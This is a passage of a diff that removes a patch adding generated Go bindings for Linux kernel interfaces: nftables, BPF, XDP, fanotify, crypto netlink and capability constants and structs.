-+ NFTA_RANGE_OP = 0x2
-+ NFTA_RANGE_FROM_DATA = 0x3
-+ NFTA_RANGE_TO_DATA = 0x4
-+ NFT_LOOKUP_F_INV = 0x1
-+ NFTA_LOOKUP_UNSPEC = 0x0
-+ NFTA_LOOKUP_SET = 0x1
-+ NFTA_LOOKUP_SREG = 0x2
-+ NFTA_LOOKUP_DREG = 0x3
-+ NFTA_LOOKUP_SET_ID = 0x4
-+ NFTA_LOOKUP_FLAGS = 0x5
-+ NFT_DYNSET_OP_ADD = 0x0
-+ NFT_DYNSET_OP_UPDATE = 0x1
-+ NFT_DYNSET_F_INV = 0x1
-+ NFTA_DYNSET_UNSPEC = 0x0
-+ NFTA_DYNSET_SET_NAME = 0x1
-+ NFTA_DYNSET_SET_ID = 0x2
-+ NFTA_DYNSET_OP = 0x3
-+ NFTA_DYNSET_SREG_KEY = 0x4
-+ NFTA_DYNSET_SREG_DATA = 0x5
-+ NFTA_DYNSET_TIMEOUT = 0x6
-+ NFTA_DYNSET_EXPR = 0x7
-+ NFTA_DYNSET_PAD = 0x8
-+ NFTA_DYNSET_FLAGS = 0x9
-+ NFT_PAYLOAD_LL_HEADER = 0x0
-+ NFT_PAYLOAD_NETWORK_HEADER = 0x1
-+ NFT_PAYLOAD_TRANSPORT_HEADER = 0x2
-+ NFT_PAYLOAD_CSUM_NONE = 0x0
-+ NFT_PAYLOAD_CSUM_INET = 0x1
-+ NFT_PAYLOAD_L4CSUM_PSEUDOHDR = 0x1
-+ NFTA_PAYLOAD_UNSPEC = 0x0
-+ NFTA_PAYLOAD_DREG = 0x1
-+ NFTA_PAYLOAD_BASE = 0x2
-+ NFTA_PAYLOAD_OFFSET = 0x3
-+ NFTA_PAYLOAD_LEN = 0x4
-+ NFTA_PAYLOAD_SREG = 0x5
-+ NFTA_PAYLOAD_CSUM_TYPE = 0x6
-+ NFTA_PAYLOAD_CSUM_OFFSET = 0x7
-+ NFTA_PAYLOAD_CSUM_FLAGS = 0x8
-+ NFT_EXTHDR_F_PRESENT = 0x1
-+ NFT_EXTHDR_OP_IPV6 = 0x0
-+ NFT_EXTHDR_OP_TCPOPT = 0x1
-+ NFTA_EXTHDR_UNSPEC = 0x0
-+ NFTA_EXTHDR_DREG = 0x1
-+ NFTA_EXTHDR_TYPE = 0x2
-+ NFTA_EXTHDR_OFFSET = 0x3
-+ NFTA_EXTHDR_LEN = 0x4
-+ NFTA_EXTHDR_FLAGS = 0x5
-+ NFTA_EXTHDR_OP = 0x6
-+ NFTA_EXTHDR_SREG = 0x7
-+ NFT_META_LEN = 0x0
-+ NFT_META_PROTOCOL = 0x1
-+ NFT_META_PRIORITY = 0x2
-+ NFT_META_MARK = 0x3
-+ NFT_META_IIF = 0x4
-+ NFT_META_OIF = 0x5
-+ NFT_META_IIFNAME = 0x6
-+ NFT_META_OIFNAME = 0x7
-+ NFT_META_IIFTYPE = 0x8
-+ NFT_META_OIFTYPE = 0x9
-+ NFT_META_SKUID = 0xa
-+ NFT_META_SKGID = 0xb
-+ NFT_META_NFTRACE = 0xc
-+ NFT_META_RTCLASSID = 0xd
-+ NFT_META_SECMARK = 0xe
-+ NFT_META_NFPROTO = 0xf
-+ NFT_META_L4PROTO = 0x10
-+ NFT_META_BRI_IIFNAME = 0x11
-+ NFT_META_BRI_OIFNAME = 0x12
-+ NFT_META_PKTTYPE = 0x13
-+ NFT_META_CPU = 0x14
-+ NFT_META_IIFGROUP = 0x15
-+ NFT_META_OIFGROUP = 0x16
-+ NFT_META_CGROUP = 0x17
-+ NFT_META_PRANDOM = 0x18
-+ NFT_RT_CLASSID = 0x0
-+ NFT_RT_NEXTHOP4 = 0x1
-+ NFT_RT_NEXTHOP6 = 0x2
-+ NFT_RT_TCPMSS = 0x3
-+ NFT_HASH_JENKINS = 0x0
-+ NFT_HASH_SYM = 0x1
-+ NFTA_HASH_UNSPEC = 0x0
-+ NFTA_HASH_SREG = 0x1
-+ NFTA_HASH_DREG = 0x2
-+ NFTA_HASH_LEN = 0x3
-+ NFTA_HASH_MODULUS = 0x4
-+ NFTA_HASH_SEED = 0x5
-+ NFTA_HASH_OFFSET = 0x6
-+ NFTA_HASH_TYPE = 0x7
-+ NFTA_META_UNSPEC = 0x0
-+ NFTA_META_DREG = 0x1
-+ NFTA_META_KEY = 0x2
-+ NFTA_META_SREG = 0x3
-+ NFTA_RT_UNSPEC = 0x0
-+ NFTA_RT_DREG = 0x1
-+ NFTA_RT_KEY = 0x2
-+ NFT_CT_STATE = 0x0
-+ NFT_CT_DIRECTION = 0x1
-+ NFT_CT_STATUS = 0x2
-+ NFT_CT_MARK = 0x3
-+ NFT_CT_SECMARK = 0x4
-+ NFT_CT_EXPIRATION = 0x5
-+ NFT_CT_HELPER = 0x6
-+ NFT_CT_L3PROTOCOL = 0x7
-+ NFT_CT_SRC = 0x8
-+ NFT_CT_DST = 0x9
-+ NFT_CT_PROTOCOL = 0xa
-+ NFT_CT_PROTO_SRC = 0xb
-+ NFT_CT_PROTO_DST = 0xc
-+ NFT_CT_LABELS = 0xd
-+ NFT_CT_PKTS = 0xe
-+ NFT_CT_BYTES = 0xf
-+ NFT_CT_AVGPKT = 0x10
-+ NFT_CT_ZONE = 0x11
-+ NFT_CT_EVENTMASK = 0x12
-+ NFTA_CT_UNSPEC = 0x0
-+ NFTA_CT_DREG = 0x1
-+ NFTA_CT_KEY = 0x2
-+ NFTA_CT_DIRECTION = 0x3
-+ NFTA_CT_SREG = 0x4
-+ NFT_LIMIT_PKTS = 0x0
-+ NFT_LIMIT_PKT_BYTES = 0x1
-+ NFT_LIMIT_F_INV = 0x1
-+ NFTA_LIMIT_UNSPEC = 0x0
-+ NFTA_LIMIT_RATE = 0x1
-+ NFTA_LIMIT_UNIT = 0x2
-+ NFTA_LIMIT_BURST = 0x3
-+ NFTA_LIMIT_TYPE = 0x4
-+ NFTA_LIMIT_FLAGS = 0x5
-+ NFTA_LIMIT_PAD = 0x6
-+ NFTA_COUNTER_UNSPEC = 0x0
-+ NFTA_COUNTER_BYTES = 0x1
-+ NFTA_COUNTER_PACKETS = 0x2
-+ NFTA_COUNTER_PAD = 0x3
-+ NFTA_LOG_UNSPEC = 0x0
-+ NFTA_LOG_GROUP = 0x1
-+ NFTA_LOG_PREFIX = 0x2
-+ NFTA_LOG_SNAPLEN = 0x3
-+ NFTA_LOG_QTHRESHOLD = 0x4
-+ NFTA_LOG_LEVEL = 0x5
-+ NFTA_LOG_FLAGS = 0x6
-+ NFTA_QUEUE_UNSPEC = 0x0
-+ NFTA_QUEUE_NUM = 0x1
-+ NFTA_QUEUE_TOTAL = 0x2
-+ NFTA_QUEUE_FLAGS = 0x3
-+ NFTA_QUEUE_SREG_QNUM = 0x4
-+ NFT_QUOTA_F_INV = 0x1
-+ NFT_QUOTA_F_DEPLETED = 0x2
-+ NFTA_QUOTA_UNSPEC = 0x0
-+ NFTA_QUOTA_BYTES = 0x1
-+ NFTA_QUOTA_FLAGS = 0x2
-+ NFTA_QUOTA_PAD = 0x3
-+ NFTA_QUOTA_CONSUMED = 0x4
-+ NFT_REJECT_ICMP_UNREACH = 0x0
-+ NFT_REJECT_TCP_RST = 0x1
-+ NFT_REJECT_ICMPX_UNREACH = 0x2
-+ NFT_REJECT_ICMPX_NO_ROUTE = 0x0
-+ NFT_REJECT_ICMPX_PORT_UNREACH = 0x1
-+ NFT_REJECT_ICMPX_HOST_UNREACH = 0x2
-+ NFT_REJECT_ICMPX_ADMIN_PROHIBITED = 0x3
-+ NFTA_REJECT_UNSPEC = 0x0
-+ NFTA_REJECT_TYPE = 0x1
-+ NFTA_REJECT_ICMP_CODE = 0x2
-+ NFT_NAT_SNAT = 0x0
-+ NFT_NAT_DNAT = 0x1
-+ NFTA_NAT_UNSPEC = 0x0
-+ NFTA_NAT_TYPE = 0x1
-+ NFTA_NAT_FAMILY = 0x2
-+ NFTA_NAT_REG_ADDR_MIN = 0x3
-+ NFTA_NAT_REG_ADDR_MAX = 0x4
-+ NFTA_NAT_REG_PROTO_MIN = 0x5
-+ NFTA_NAT_REG_PROTO_MAX = 0x6
-+ NFTA_NAT_FLAGS = 0x7
-+ NFTA_MASQ_UNSPEC = 0x0
-+ NFTA_MASQ_FLAGS = 0x1
-+ NFTA_MASQ_REG_PROTO_MIN = 0x2
-+ NFTA_MASQ_REG_PROTO_MAX = 0x3
-+ NFTA_REDIR_UNSPEC = 0x0
-+ NFTA_REDIR_REG_PROTO_MIN = 0x1
-+ NFTA_REDIR_REG_PROTO_MAX = 0x2
-+ NFTA_REDIR_FLAGS = 0x3
-+ NFTA_DUP_UNSPEC = 0x0
-+ NFTA_DUP_SREG_ADDR = 0x1
-+ NFTA_DUP_SREG_DEV = 0x2
-+ NFTA_FWD_UNSPEC = 0x0
-+ NFTA_FWD_SREG_DEV = 0x1
-+ NFTA_OBJREF_UNSPEC = 0x0
-+ NFTA_OBJREF_IMM_TYPE = 0x1
-+ NFTA_OBJREF_IMM_NAME = 0x2
-+ NFTA_OBJREF_SET_SREG = 0x3
-+ NFTA_OBJREF_SET_NAME = 0x4
-+ NFTA_OBJREF_SET_ID = 0x5
-+ NFTA_GEN_UNSPEC = 0x0
-+ NFTA_GEN_ID = 0x1
-+ NFTA_GEN_PROC_PID = 0x2
-+ NFTA_GEN_PROC_NAME = 0x3
-+ NFTA_FIB_UNSPEC = 0x0
-+ NFTA_FIB_DREG = 0x1
-+ NFTA_FIB_RESULT = 0x2
-+ NFTA_FIB_FLAGS = 0x3
-+ NFT_FIB_RESULT_UNSPEC = 0x0
-+ NFT_FIB_RESULT_OIF = 0x1
-+ NFT_FIB_RESULT_OIFNAME = 0x2
-+ NFT_FIB_RESULT_ADDRTYPE = 0x3
-+ NFTA_FIB_F_SADDR = 0x1
-+ NFTA_FIB_F_DADDR = 0x2
-+ NFTA_FIB_F_MARK = 0x4
-+ NFTA_FIB_F_IIF = 0x8
-+ NFTA_FIB_F_OIF = 0x10
-+ NFTA_FIB_F_PRESENT = 0x20
-+ NFTA_CT_HELPER_UNSPEC = 0x0
-+ NFTA_CT_HELPER_NAME = 0x1
-+ NFTA_CT_HELPER_L3PROTO = 0x2
-+ NFTA_CT_HELPER_L4PROTO = 0x3
-+ NFTA_OBJ_UNSPEC = 0x0
-+ NFTA_OBJ_TABLE = 0x1
-+ NFTA_OBJ_NAME = 0x2
-+ NFTA_OBJ_TYPE = 0x3
-+ NFTA_OBJ_DATA = 0x4
-+ NFTA_OBJ_USE = 0x5
-+ NFTA_TRACE_UNSPEC = 0x0
-+ NFTA_TRACE_TABLE = 0x1
-+ NFTA_TRACE_CHAIN = 0x2
-+ NFTA_TRACE_RULE_HANDLE = 0x3
-+ NFTA_TRACE_TYPE = 0x4
-+ NFTA_TRACE_VERDICT = 0x5
-+ NFTA_TRACE_ID = 0x6
-+ NFTA_TRACE_LL_HEADER = 0x7
-+ NFTA_TRACE_NETWORK_HEADER = 0x8
-+ NFTA_TRACE_TRANSPORT_HEADER = 0x9
-+ NFTA_TRACE_IIF = 0xa
-+ NFTA_TRACE_IIFTYPE = 0xb
-+ NFTA_TRACE_OIF = 0xc
-+ NFTA_TRACE_OIFTYPE = 0xd
-+ NFTA_TRACE_MARK = 0xe
-+ NFTA_TRACE_NFPROTO = 0xf
-+ NFTA_TRACE_POLICY = 0x10
-+ NFTA_TRACE_PAD = 0x11
-+ NFT_TRACETYPE_UNSPEC = 0x0
-+ NFT_TRACETYPE_POLICY = 0x1
-+ NFT_TRACETYPE_RETURN = 0x2
-+ NFT_TRACETYPE_RULE = 0x3
-+ NFTA_NG_UNSPEC = 0x0
-+ NFTA_NG_DREG = 0x1
-+ NFTA_NG_MODULUS = 0x2
-+ NFTA_NG_TYPE = 0x3
-+ NFTA_NG_OFFSET = 0x4
-+ NFT_NG_INCREMENTAL = 0x0
-+ NFT_NG_RANDOM = 0x1
-+)
-+
-+type RTCTime struct {
-+ Sec int32
-+ Min int32
-+ Hour int32
-+ Mday int32
-+ Mon int32
-+ Year int32
-+ Wday int32
-+ Yday int32
-+ Isdst int32
-+}
-+
-+type RTCWkAlrm struct {
-+ Enabled uint8
-+ Pending uint8
-+ Time RTCTime
-+}
-+
-+type BlkpgIoctlArg struct {
-+ Op int32
-+ Flags int32
-+ Datalen int32
-+ Data *byte
-+}
-+
-+const (
-+ BLKPG_ADD_PARTITION = 0x1
-+ BLKPG_DEL_PARTITION = 0x2
-+ BLKPG_RESIZE_PARTITION = 0x3
-+)
-+
-+const (
-+ NETNSA_NONE = 0x0
-+ NETNSA_NSID = 0x1
-+ NETNSA_PID = 0x2
-+ NETNSA_FD = 0x3
-+)
-+
-+type XDPRingOffset struct {
-+ Producer uint64
-+ Consumer uint64
-+ Desc uint64
-+ Flags uint64
-+}
-+
-+type XDPMmapOffsets struct {
-+ Rx XDPRingOffset
-+ Tx XDPRingOffset
-+ Fr XDPRingOffset
-+ Cr XDPRingOffset
-+}
-+
-+type XDPStatistics struct {
-+ Rx_dropped uint64
-+ Rx_invalid_descs uint64
-+ Tx_invalid_descs uint64
-+}
-+
-+type XDPDesc struct {
-+ Addr uint64
-+ Len uint32
-+ Options uint32
-+}
-+
-+const (
-+ NCSI_CMD_UNSPEC = 0x0
-+ NCSI_CMD_PKG_INFO = 0x1
-+ NCSI_CMD_SET_INTERFACE = 0x2
-+ NCSI_CMD_CLEAR_INTERFACE = 0x3
-+ NCSI_ATTR_UNSPEC = 0x0
-+ NCSI_ATTR_IFINDEX = 0x1
-+ NCSI_ATTR_PACKAGE_LIST = 0x2
-+ NCSI_ATTR_PACKAGE_ID = 0x3
-+ NCSI_ATTR_CHANNEL_ID = 0x4
-+ NCSI_PKG_ATTR_UNSPEC = 0x0
-+ NCSI_PKG_ATTR = 0x1
-+ NCSI_PKG_ATTR_ID = 0x2
-+ NCSI_PKG_ATTR_FORCED = 0x3
-+ NCSI_PKG_ATTR_CHANNEL_LIST = 0x4
-+ NCSI_CHANNEL_ATTR_UNSPEC = 0x0
-+ NCSI_CHANNEL_ATTR = 0x1
-+ NCSI_CHANNEL_ATTR_ID = 0x2
-+ NCSI_CHANNEL_ATTR_VERSION_MAJOR = 0x3
-+ NCSI_CHANNEL_ATTR_VERSION_MINOR = 0x4
-+ NCSI_CHANNEL_ATTR_VERSION_STR = 0x5
-+ NCSI_CHANNEL_ATTR_LINK_STATE = 0x6
-+ NCSI_CHANNEL_ATTR_ACTIVE = 0x7
-+ NCSI_CHANNEL_ATTR_FORCED = 0x8
-+ NCSI_CHANNEL_ATTR_VLAN_LIST = 0x9
-+ NCSI_CHANNEL_ATTR_VLAN_ID = 0xa
-+)
-+
-+type ScmTimestamping struct {
-+ Ts [3]Timespec
-+}
-+
-+const (
-+ SOF_TIMESTAMPING_TX_HARDWARE = 0x1
-+ SOF_TIMESTAMPING_TX_SOFTWARE = 0x2
-+ SOF_TIMESTAMPING_RX_HARDWARE = 0x4
-+ SOF_TIMESTAMPING_RX_SOFTWARE = 0x8
-+ SOF_TIMESTAMPING_SOFTWARE = 0x10
-+ SOF_TIMESTAMPING_SYS_HARDWARE = 0x20
-+ SOF_TIMESTAMPING_RAW_HARDWARE = 0x40
-+ SOF_TIMESTAMPING_OPT_ID = 0x80
-+ SOF_TIMESTAMPING_TX_SCHED = 0x100
-+ SOF_TIMESTAMPING_TX_ACK = 0x200
-+ SOF_TIMESTAMPING_OPT_CMSG = 0x400
-+ SOF_TIMESTAMPING_OPT_TSONLY = 0x800
-+ SOF_TIMESTAMPING_OPT_STATS = 0x1000
-+ SOF_TIMESTAMPING_OPT_PKTINFO = 0x2000
-+ SOF_TIMESTAMPING_OPT_TX_SWHW = 0x4000
-+
-+ SOF_TIMESTAMPING_LAST = 0x4000
-+ SOF_TIMESTAMPING_MASK = 0x7fff
-+
-+ SCM_TSTAMP_SND = 0x0
-+ SCM_TSTAMP_SCHED = 0x1
-+ SCM_TSTAMP_ACK = 0x2
-+)
-+
-+type SockExtendedErr struct {
-+ Errno uint32
-+ Origin uint8
-+ Type uint8
-+ Code uint8
-+ Pad uint8
-+ Info uint32
-+ Data uint32
-+}
-+
-+type FanotifyEventMetadata struct {
-+ Event_len uint32
-+ Vers uint8
-+ Reserved uint8
-+ Metadata_len uint16
-+ Mask uint64
-+ Fd int32
-+ Pid int32
-+}
-+
-+type FanotifyResponse struct {
-+ Fd int32
-+ Response uint32
-+}
-+
-+const (
-+ CRYPTO_MSG_BASE = 0x10
-+ CRYPTO_MSG_NEWALG = 0x10
-+ CRYPTO_MSG_DELALG = 0x11
-+ CRYPTO_MSG_UPDATEALG = 0x12
-+ CRYPTO_MSG_GETALG = 0x13
-+ CRYPTO_MSG_DELRNG = 0x14
-+ CRYPTO_MSG_GETSTAT = 0x15
-+)
-+
-+const (
-+ CRYPTOCFGA_UNSPEC = 0x0
-+ CRYPTOCFGA_PRIORITY_VAL = 0x1
-+ CRYPTOCFGA_REPORT_LARVAL = 0x2
-+ CRYPTOCFGA_REPORT_HASH = 0x3
-+ CRYPTOCFGA_REPORT_BLKCIPHER = 0x4
-+ CRYPTOCFGA_REPORT_AEAD = 0x5
-+ CRYPTOCFGA_REPORT_COMPRESS = 0x6
-+ CRYPTOCFGA_REPORT_RNG = 0x7
-+ CRYPTOCFGA_REPORT_CIPHER = 0x8
-+ CRYPTOCFGA_REPORT_AKCIPHER = 0x9
-+ CRYPTOCFGA_REPORT_KPP = 0xa
-+ CRYPTOCFGA_REPORT_ACOMP = 0xb
-+ CRYPTOCFGA_STAT_LARVAL = 0xc
-+ CRYPTOCFGA_STAT_HASH = 0xd
-+ CRYPTOCFGA_STAT_BLKCIPHER = 0xe
-+ CRYPTOCFGA_STAT_AEAD = 0xf
-+ CRYPTOCFGA_STAT_COMPRESS = 0x10
-+ CRYPTOCFGA_STAT_RNG = 0x11
-+ CRYPTOCFGA_STAT_CIPHER = 0x12
-+ CRYPTOCFGA_STAT_AKCIPHER = 0x13
-+ CRYPTOCFGA_STAT_KPP = 0x14
-+ CRYPTOCFGA_STAT_ACOMP = 0x15
-+)
-+
-+const (
-+ BPF_REG_0 = 0x0
-+ BPF_REG_1 = 0x1
-+ BPF_REG_2 = 0x2
-+ BPF_REG_3 = 0x3
-+ BPF_REG_4 = 0x4
-+ BPF_REG_5 = 0x5
-+ BPF_REG_6 = 0x6
-+ BPF_REG_7 = 0x7
-+ BPF_REG_8 = 0x8
-+ BPF_REG_9 = 0x9
-+ BPF_REG_10 = 0xa
-+ BPF_MAP_CREATE = 0x0
-+ BPF_MAP_LOOKUP_ELEM = 0x1
-+ BPF_MAP_UPDATE_ELEM = 0x2
-+ BPF_MAP_DELETE_ELEM = 0x3
-+ BPF_MAP_GET_NEXT_KEY = 0x4
-+ BPF_PROG_LOAD = 0x5
-+ BPF_OBJ_PIN = 0x6
-+ BPF_OBJ_GET = 0x7
-+ BPF_PROG_ATTACH = 0x8
-+ BPF_PROG_DETACH = 0x9
-+ BPF_PROG_TEST_RUN = 0xa
-+ BPF_PROG_GET_NEXT_ID = 0xb
-+ BPF_MAP_GET_NEXT_ID = 0xc
-+ BPF_PROG_GET_FD_BY_ID = 0xd
-+ BPF_MAP_GET_FD_BY_ID = 0xe
-+ BPF_OBJ_GET_INFO_BY_FD = 0xf
-+ BPF_PROG_QUERY = 0x10
-+ BPF_RAW_TRACEPOINT_OPEN = 0x11
-+ BPF_BTF_LOAD = 0x12
-+ BPF_BTF_GET_FD_BY_ID = 0x13
-+ BPF_TASK_FD_QUERY = 0x14
-+ BPF_MAP_LOOKUP_AND_DELETE_ELEM = 0x15
-+ BPF_MAP_FREEZE = 0x16
-+ BPF_BTF_GET_NEXT_ID = 0x17
-+ BPF_MAP_TYPE_UNSPEC = 0x0
-+ BPF_MAP_TYPE_HASH = 0x1
-+ BPF_MAP_TYPE_ARRAY = 0x2
-+ BPF_MAP_TYPE_PROG_ARRAY = 0x3
-+ BPF_MAP_TYPE_PERF_EVENT_ARRAY = 0x4
-+ BPF_MAP_TYPE_PERCPU_HASH = 0x5
-+ BPF_MAP_TYPE_PERCPU_ARRAY = 0x6
-+ BPF_MAP_TYPE_STACK_TRACE = 0x7
-+ BPF_MAP_TYPE_CGROUP_ARRAY = 0x8
-+ BPF_MAP_TYPE_LRU_HASH = 0x9
-+ BPF_MAP_TYPE_LRU_PERCPU_HASH = 0xa
-+ BPF_MAP_TYPE_LPM_TRIE = 0xb
-+ BPF_MAP_TYPE_ARRAY_OF_MAPS = 0xc
-+ BPF_MAP_TYPE_HASH_OF_MAPS = 0xd
-+ BPF_MAP_TYPE_DEVMAP = 0xe
-+ BPF_MAP_TYPE_SOCKMAP = 0xf
-+ BPF_MAP_TYPE_CPUMAP = 0x10
-+ BPF_MAP_TYPE_XSKMAP = 0x11
-+ BPF_MAP_TYPE_SOCKHASH = 0x12
-+ BPF_MAP_TYPE_CGROUP_STORAGE = 0x13
-+ BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 0x14
-+ BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 0x15
-+ BPF_MAP_TYPE_QUEUE = 0x16
-+ BPF_MAP_TYPE_STACK = 0x17
-+ BPF_MAP_TYPE_SK_STORAGE = 0x18
-+ BPF_MAP_TYPE_DEVMAP_HASH = 0x19
-+ BPF_PROG_TYPE_UNSPEC = 0x0
-+ BPF_PROG_TYPE_SOCKET_FILTER = 0x1
-+ BPF_PROG_TYPE_KPROBE = 0x2
-+ BPF_PROG_TYPE_SCHED_CLS = 0x3
-+ BPF_PROG_TYPE_SCHED_ACT = 0x4
-+ BPF_PROG_TYPE_TRACEPOINT = 0x5
-+ BPF_PROG_TYPE_XDP = 0x6
-+ BPF_PROG_TYPE_PERF_EVENT = 0x7
-+ BPF_PROG_TYPE_CGROUP_SKB = 0x8
-+ BPF_PROG_TYPE_CGROUP_SOCK = 0x9
-+ BPF_PROG_TYPE_LWT_IN = 0xa
-+ BPF_PROG_TYPE_LWT_OUT = 0xb
-+ BPF_PROG_TYPE_LWT_XMIT = 0xc
-+ BPF_PROG_TYPE_SOCK_OPS = 0xd
-+ BPF_PROG_TYPE_SK_SKB = 0xe
-+ BPF_PROG_TYPE_CGROUP_DEVICE = 0xf
-+ BPF_PROG_TYPE_SK_MSG = 0x10
-+ BPF_PROG_TYPE_RAW_TRACEPOINT = 0x11
-+ BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 0x12
-+ BPF_PROG_TYPE_LWT_SEG6LOCAL = 0x13
-+ BPF_PROG_TYPE_LIRC_MODE2 = 0x14
-+ BPF_PROG_TYPE_SK_REUSEPORT = 0x15
-+ BPF_PROG_TYPE_FLOW_DISSECTOR = 0x16
-+ BPF_PROG_TYPE_CGROUP_SYSCTL = 0x17
-+ BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 0x18
-+ BPF_PROG_TYPE_CGROUP_SOCKOPT = 0x19
-+ BPF_PROG_TYPE_TRACING = 0x1a
-+ BPF_CGROUP_INET_INGRESS = 0x0
-+ BPF_CGROUP_INET_EGRESS = 0x1
-+ BPF_CGROUP_INET_SOCK_CREATE = 0x2
-+ BPF_CGROUP_SOCK_OPS = 0x3
-+ BPF_SK_SKB_STREAM_PARSER = 0x4
-+ BPF_SK_SKB_STREAM_VERDICT = 0x5
-+ BPF_CGROUP_DEVICE = 0x6
-+ BPF_SK_MSG_VERDICT = 0x7
-+ BPF_CGROUP_INET4_BIND = 0x8
-+ BPF_CGROUP_INET6_BIND = 0x9
-+ BPF_CGROUP_INET4_CONNECT = 0xa
-+ BPF_CGROUP_INET6_CONNECT = 0xb
-+ BPF_CGROUP_INET4_POST_BIND = 0xc
-+ BPF_CGROUP_INET6_POST_BIND = 0xd
-+ BPF_CGROUP_UDP4_SENDMSG = 0xe
-+ BPF_CGROUP_UDP6_SENDMSG = 0xf
-+ BPF_LIRC_MODE2 = 0x10
-+ BPF_FLOW_DISSECTOR = 0x11
-+ BPF_CGROUP_SYSCTL = 0x12
-+ BPF_CGROUP_UDP4_RECVMSG = 0x13
-+ BPF_CGROUP_UDP6_RECVMSG = 0x14
-+ BPF_CGROUP_GETSOCKOPT = 0x15
-+ BPF_CGROUP_SETSOCKOPT = 0x16
-+ BPF_TRACE_RAW_TP = 0x17
-+ BPF_TRACE_FENTRY = 0x18
-+ BPF_TRACE_FEXIT = 0x19
-+ BPF_STACK_BUILD_ID_EMPTY = 0x0
-+ BPF_STACK_BUILD_ID_VALID = 0x1
-+ BPF_STACK_BUILD_ID_IP = 0x2
-+ BPF_ADJ_ROOM_NET = 0x0
-+ BPF_ADJ_ROOM_MAC = 0x1
-+ BPF_HDR_START_MAC = 0x0
-+ BPF_HDR_START_NET = 0x1
-+ BPF_LWT_ENCAP_SEG6 = 0x0
-+ BPF_LWT_ENCAP_SEG6_INLINE = 0x1
-+ BPF_LWT_ENCAP_IP = 0x2
-+ BPF_OK = 0x0
-+ BPF_DROP = 0x2
-+ BPF_REDIRECT = 0x7
-+ BPF_LWT_REROUTE = 0x80
-+ BPF_SOCK_OPS_VOID = 0x0
-+ BPF_SOCK_OPS_TIMEOUT_INIT = 0x1
-+ BPF_SOCK_OPS_RWND_INIT = 0x2
-+ BPF_SOCK_OPS_TCP_CONNECT_CB = 0x3
-+ BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB = 0x4
-+ BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB = 0x5
-+ BPF_SOCK_OPS_NEEDS_ECN = 0x6
-+ BPF_SOCK_OPS_BASE_RTT = 0x7
-+ BPF_SOCK_OPS_RTO_CB = 0x8
-+ BPF_SOCK_OPS_RETRANS_CB = 0x9
-+ BPF_SOCK_OPS_STATE_CB = 0xa
-+ BPF_SOCK_OPS_TCP_LISTEN_CB = 0xb
-+ BPF_SOCK_OPS_RTT_CB = 0xc
-+ BPF_TCP_ESTABLISHED = 0x1
-+ BPF_TCP_SYN_SENT = 0x2
-+ BPF_TCP_SYN_RECV = 0x3
-+ BPF_TCP_FIN_WAIT1 = 0x4
-+ BPF_TCP_FIN_WAIT2 = 0x5
-+ BPF_TCP_TIME_WAIT = 0x6
-+ BPF_TCP_CLOSE = 0x7
-+ BPF_TCP_CLOSE_WAIT = 0x8
-+ BPF_TCP_LAST_ACK = 0x9
-+ BPF_TCP_LISTEN = 0xa
-+ BPF_TCP_CLOSING = 0xb
-+ BPF_TCP_NEW_SYN_RECV = 0xc
-+ BPF_TCP_MAX_STATES = 0xd
-+ BPF_FIB_LKUP_RET_SUCCESS = 0x0
-+ BPF_FIB_LKUP_RET_BLACKHOLE = 0x1
-+ BPF_FIB_LKUP_RET_UNREACHABLE = 0x2
-+ BPF_FIB_LKUP_RET_PROHIBIT = 0x3
-+ BPF_FIB_LKUP_RET_NOT_FWDED = 0x4
-+ BPF_FIB_LKUP_RET_FWD_DISABLED = 0x5
-+ BPF_FIB_LKUP_RET_UNSUPP_LWT = 0x6
-+ BPF_FIB_LKUP_RET_NO_NEIGH = 0x7
-+ BPF_FIB_LKUP_RET_FRAG_NEEDED = 0x8
-+ BPF_FD_TYPE_RAW_TRACEPOINT = 0x0
-+ BPF_FD_TYPE_TRACEPOINT = 0x1
-+ BPF_FD_TYPE_KPROBE = 0x2
-+ BPF_FD_TYPE_KRETPROBE = 0x3
-+ BPF_FD_TYPE_UPROBE = 0x4
-+ BPF_FD_TYPE_URETPROBE = 0x5
-+)
-+
-+const (
-+ RTNLGRP_NONE = 0x0
-+ RTNLGRP_LINK = 0x1
-+ RTNLGRP_NOTIFY = 0x2
-+ RTNLGRP_NEIGH = 0x3
-+ RTNLGRP_TC = 0x4
-+ RTNLGRP_IPV4_IFADDR = 0x5
-+ RTNLGRP_IPV4_MROUTE = 0x6
-+ RTNLGRP_IPV4_ROUTE = 0x7
-+ RTNLGRP_IPV4_RULE = 0x8
-+ RTNLGRP_IPV6_IFADDR = 0x9
-+ RTNLGRP_IPV6_MROUTE = 0xa
-+ RTNLGRP_IPV6_ROUTE = 0xb
-+ RTNLGRP_IPV6_IFINFO = 0xc
-+ RTNLGRP_DECnet_IFADDR = 0xd
-+ RTNLGRP_NOP2 = 0xe
-+ RTNLGRP_DECnet_ROUTE = 0xf
-+ RTNLGRP_DECnet_RULE = 0x10
-+ RTNLGRP_NOP4 = 0x11
-+ RTNLGRP_IPV6_PREFIX = 0x12
-+ RTNLGRP_IPV6_RULE = 0x13
-+ RTNLGRP_ND_USEROPT = 0x14
-+ RTNLGRP_PHONET_IFADDR = 0x15
-+ RTNLGRP_PHONET_ROUTE = 0x16
-+ RTNLGRP_DCB = 0x17
-+ RTNLGRP_IPV4_NETCONF = 0x18
-+ RTNLGRP_IPV6_NETCONF = 0x19
-+ RTNLGRP_MDB = 0x1a
-+ RTNLGRP_MPLS_ROUTE = 0x1b
-+ RTNLGRP_NSID = 0x1c
-+ RTNLGRP_MPLS_NETCONF = 0x1d
-+ RTNLGRP_IPV4_MROUTE_R = 0x1e
-+ RTNLGRP_IPV6_MROUTE_R = 0x1f
-+ RTNLGRP_NEXTHOP = 0x20
-+)
-+
-+type CapUserHeader struct {
-+ Version uint32
-+ Pid int32
-+}
-+
-+type CapUserData struct {
-+ Effective uint32
-+ Permitted uint32
-+ Inheritable uint32
-+}
-+
-+const (
-+ LINUX_CAPABILITY_VERSION_1 = 0x19980330
-+ LINUX_CAPABILITY_VERSION_2 = 0x20071026
-+ LINUX_CAPABILITY_VERSION_3 = 0x20080522
-+)
-+
-+const (
-+ LO_FLAGS_READ_ONLY = 0x1
-+ LO_FLAGS_AUTOCLEAR = 0x4
-+ LO_FLAGS_PARTSCAN = 0x8
-+ LO_FLAGS_DIRECT_IO = 0x10
-+)
-+
-+type LoopInfo64 struct {
-+ Device uint64
-+ Inode uint64
